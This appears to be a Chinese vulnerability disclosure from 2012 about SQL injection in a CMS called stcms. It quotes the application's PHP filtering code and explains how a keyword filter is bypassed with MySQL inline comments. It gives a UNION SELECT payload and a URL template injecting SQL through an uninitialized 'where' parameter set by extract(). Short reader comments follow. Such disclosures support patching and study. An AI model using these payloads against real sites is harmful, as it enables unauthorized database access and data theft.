2012-07-27: 积极联系厂商并且等待厂商认领中,细节不对外公开 2012-09-10: 厂商已经主动忽略漏洞,细节向公众公开
Sql 注入
$mysql = new mysql(); $search_arr = array("/\bunion /i","/\bselect /i","/\bupdate /i","/\boutfile /i","/\bor /i","/\bdelete /i","/\binsert /i"); $replace_arr = array("union ","select ","update ","outfile ","or ","delete ","insert "); $_POST = stripSql($_POST,$search_arr,$replace_arr); $_GET = stripSql($_GET,$search_arr,$replace_arr); $_COOKIE = stripSql($_COOKIE,$search_arr,$replace_arr); unset($search_arr, $replace_arr); if(!get_magic_quotes_gpc()){ $_POST = addslash($_POST); $_GET = addslash($_GET); $_COOKIE = addslash($_COOKIE); $_SERVER = addslash($_SERVER); } @extract($_POST, EXTR_SKIP); @extract($_GET, EXTR_SKIP); sriipSql: function stripSql($str,$search_arr,$replace_arr) { if(is_array($str)) { foreach($str as $key => $value) { $result[$key] = stripSql($value,$search_arr,$replace_arr); } } else { $result = preg_replace($search_arr,$replace_arr,$str); } return $result; 把我们的 union+空格 替换成 union //这个过滤有些问题我们只要把空格替换诸如:+| N个空格| tab | enter | 等 index.php?8'+/*!Union*/+/*!SelEct*/+1,2,3,4,version(),6,7,8, 在magic_quotes_gpc关闭时 会调用 addslash过滤GET POST COOKIES Function addslash{ if(is_array($str)) { foreach($str as $key => $value) { $result[$key] = addslash($value); } } else { $result = @mysql_real_escape_string($str) ? mysql_real_escape_string($str) : addslashes($str); } return $result; 调用mysql_real_escape_string函数来转义Sql语句中特殊字符,它有一个特征就是会考虑到连接的当前字符集 除了 例如 Set names GBK 就是期望返回GKB集编码 上面说了mysql_real_escape_string会考虑当前连接的字符集 除了mysql_set_charset 能改变默认字符集.其它的都是默认latin-1 Mysql_real 这时使用的是默认的 导致和addslashes处理一样的效果 SQL注入 U.php 50-65行 case 'list': $totalNum = $mysql->numTable("member", $where); $pageNum = 20; $totalPage = intval($totalNum/$pageNum) == $totalNum/$pageNum ? $totalNum/$pageNum : intval($totalNum/$pageNum)+1; $page = $page ? $page : 1; $page = $page>$totalPage ? $totalPage : $page; $page = $page<1 ? 1 : $page; $members = $mysql->select("member","id,name,time,money,provience,city,picture",$where,array("id DESC"),array(($page-1)*$pageNum,$pageNum)); require(INCLUDE_PATH."page.class.php"); $pageClass = new page($page,$totalNum,$pageNum, WEB_URL."member/u.php?action=list", true); $pageCode = $pageClass->getCode(); $smarty->assign("webTitle","会员列表"); $smarty->assign("uList", $members); $smarty->assign("pageCode", $pageCode); $smarty->display("member/m_u_list.html"); function numTable($table='',$wheres=false) { $table = $this->dbPrefix.$table; $sql = "SELECT COUNT(*) AS num FROM `$table`"; if($wheres) { $sql .= " WHERE "; if(is_array($wheres)) { foreach($wheres as $key => $val) { $whr[] = "`$key`='".$val."'"; } $sql .= implode(" AND ",$whr); } elseif(is_string($wheres)) { $sql .= $wheres; } } $result = $this->fetch($this->query($sql)); return $result['num']; } Where 没初始化 导致可执行任意sql语句 http://localhost/stcms_html/member/u.php?action=list&where={sql}
http://localhost/stcms_html/member/u.php?action=list&where={sql}
变量要正确初始化
未能联系到厂商或者厂商积极拒绝
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
是搜索框那边的吗?
@腰上有胸器 不是呀。。
登录后才能发表评论,请先 登录 。